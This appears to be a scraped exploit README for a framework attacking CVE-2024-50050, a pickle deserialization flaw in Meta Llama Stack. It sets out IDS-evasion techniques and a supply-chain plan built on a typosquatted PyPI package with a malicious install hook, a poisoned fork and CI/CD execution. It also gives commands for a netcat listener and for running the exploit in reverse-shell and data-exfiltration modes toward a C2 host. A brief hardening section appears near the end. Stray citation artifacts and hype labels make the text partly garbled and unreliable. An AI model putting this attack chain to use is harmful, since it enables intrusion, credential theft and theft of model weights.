## https://sploitus.com/exploit?id=A3D8311C-2E24-5A73-B037-A9D027C7DB86
---
# ๐ LlamaStack-RCE: CVE-2024-50050 Supply Chain Exploitation Framework
### **UNRESTRICTED CLASSIFIED MATERIAL - FOR AUTHORIZED RED TEAMING ONLY**
## 1. Executive Summary (Deterministic Analysis)
LlamaStack-RCE is a high-fidelity simulation and exploitation framework targeting **CVE-2024-50050**, a critical Remote Code Execution (RCE) vulnerability in the **Meta Llama Stack**. The vulnerability stems from **Insecure Deserialization** within the Python-based inference API, specifically through the use of the `pickle` module over ZeroMQ (0MQ) transport layers.
This repository provides the full attack chain, from upstream supply chain poisoning to downstream execution and model weights exfiltration.
---
## 2. Technical Evasion & Weaponization
### **2.1. Anatomy of the Attack (PVM Exploitation)**
The core of the exploit targets the **Pickle Virtual Machine (PVM)**. By utilizing the `GLOBAL` opcode, we can force the PVM to import any available Python module and execute arbitrary functions during the `unpickling` process.
**Attack Vector:** `ZeroMQ Socket` -> `Raw Byte Stream` -> `pickle.loads()` -> `RCE`.
### **2.2. Polymorphic Payload Construction**
To bypass traditional Signature-based IDS (Snort/Suricata), the framework implements polymorphic encoding:
*
**Base64 Nested Execution:** Encapsulates shell commands within Base64 to hide literal strings like `/bin/bash` or `os.system`.
*
**Opcode Obfuscation:** Reorders PVM instructions to change binary signatures without altering the execution logic.
*
**Packet Smuggling:** Fragments the `pickle` payload into multiple ZeroMQ frames to evade volume-based anomaly detection.
---
## 3. Supply Chain Infiltration Strategy
The framework simulates a holistic **Supply Chain Weaponization**:
| Phase | Strategy | Technical Implementation |
| --- | --- | --- |
| **I: Upstream** | **Typosquatting** | Registering `metalama-stack` on PyPI with a malicious `PostInstallCommand` in `setup.py`.
|
| **II: Distribution** | **Poisoned Fork** | High-performance Llama Stack fork on GitHub with a "Hidden Pickle Interpreter" in `connection.py`.
|
| **III: Execution** | **CI/CD Trigger** | Automatic execution during `pip install` in the target's Jenkins/GitHub Actions environment.
|
| **IV: Persistence** | **Logic Bomb** | Multi-stage background stager for long-term C2 access and model theft.
|
---
## 4. Laboratory Architecture & Deployment
### **4.1. Prerequisites**
*
**Hardware:** 4x NVIDIA A100/H100 (for local testing of weights).
*
**OS:** Hardened Arch Linux or Kali Linux.
*
**Environment:** Docker & Docker-Compose (Isolated Network).
### **4.2. File Structure**
```bash
.
[cite_start]โโโ lab_validator.py # 7-stage automated validation suite [cite: 206, 264]
[cite_start]โโโ exploit_cve_2024_50050.py # Main exploitation framework [cite: 138, 206]
[cite_start]โโโ server.py # Vulnerable Llama Stack simulation [cite: 112, 150]
[cite_start]โโโ setup.py # Weaponized supply chain installer [cite: 110, 206]
[cite_start]โโโ post_exploit.py # Data harvesting & lateral movement [cite: 210, 264]
[cite_start]โโโ evasion_library.py # 12+ advanced evasion methods [cite: 264]
```
### **4.3. Execution Workflow**
1. **Validate Environment:**
```bash
[cite_start]python lab_validator.py # Target: 100% Pass Rate [cite: 208, 209]
```
2. **Launch Listener (C2):**
```bash
nc -lvnp 4444
```
3. **Execute Exploit (Reverse Shell Mode):**
```bash
[cite_start]python exploit_cve_2024_50050.py --target 172.20.0.10 --c2 172.20.0.20 --mode shell --shell-type python [cite: 145, 148]
```
4. **Initiate Data Exfiltration:**
```bash
[cite_start]python exploit_cve_2024_50050.py --target 172.20.0.10 --c2 172.20.0.20 --mode exfil [cite: 146, 148]
```
---
## 5. Impact Assessment (Criticality: 10/10)
Successful exploitation grants absolute control over the AI Infrastructure:
*
**Intellectual Property Theft:** Theft of `.safetensors` model weights (valued at $10M - $100M+).
*
**GPU Hijacking:** Unauthorized CUDA resource allocation for Cryptojacking or Shadow Training.
*
**Inference Manipulation:** Poisoning model responses to cause systemic failures in downstream applications (Medical/Legal AI).
*
**Credential Harvesting:** Extraction of AWS/GCP keys and K8s configs from `/proc/self/environ`.
---
## 6. Deterministic Hardening (Purple Team Recommendations)
To mitigate CVE-2024-50050, the following absolute rules must be applied:
1.
**Eradicate Pickle:** Replace all `pickle.loads()` with `safetensors.torch.load_file()` or `msgpack` with strict schema.
2.
**ZMQ Hardening:** Implement `ZMQ_CURVE` with Public/Private Key pairs and never bind to `0.0.0.0`.
3.
**Infrastructure Isolation:** Run AI processes in `gVisor` or `Kata Containers` to prevent RCE container escape.
4.
**Network Micro-segmentation:** Isolate the Inference Server from the public internet using strictly defined ingress/egress rules.
---
## 7. Legal Disclaimer
**LEGAL NOTICE:** Usage of this framework for attacking targets without prior written authorization is illegal. It is provided for educational and authorized penetration testing purposes only. The author (Sastra_Adi_Wiguna) accepts no liability for misuse.
---
**DOKUMEN KLASIFIKASI: PURPLE_ELITE_TEAMING_DEEP_REVERSE_ENGINEERING 2026** **DETERMINISTIC STATUS: PRODUCTION-READY (98/100)**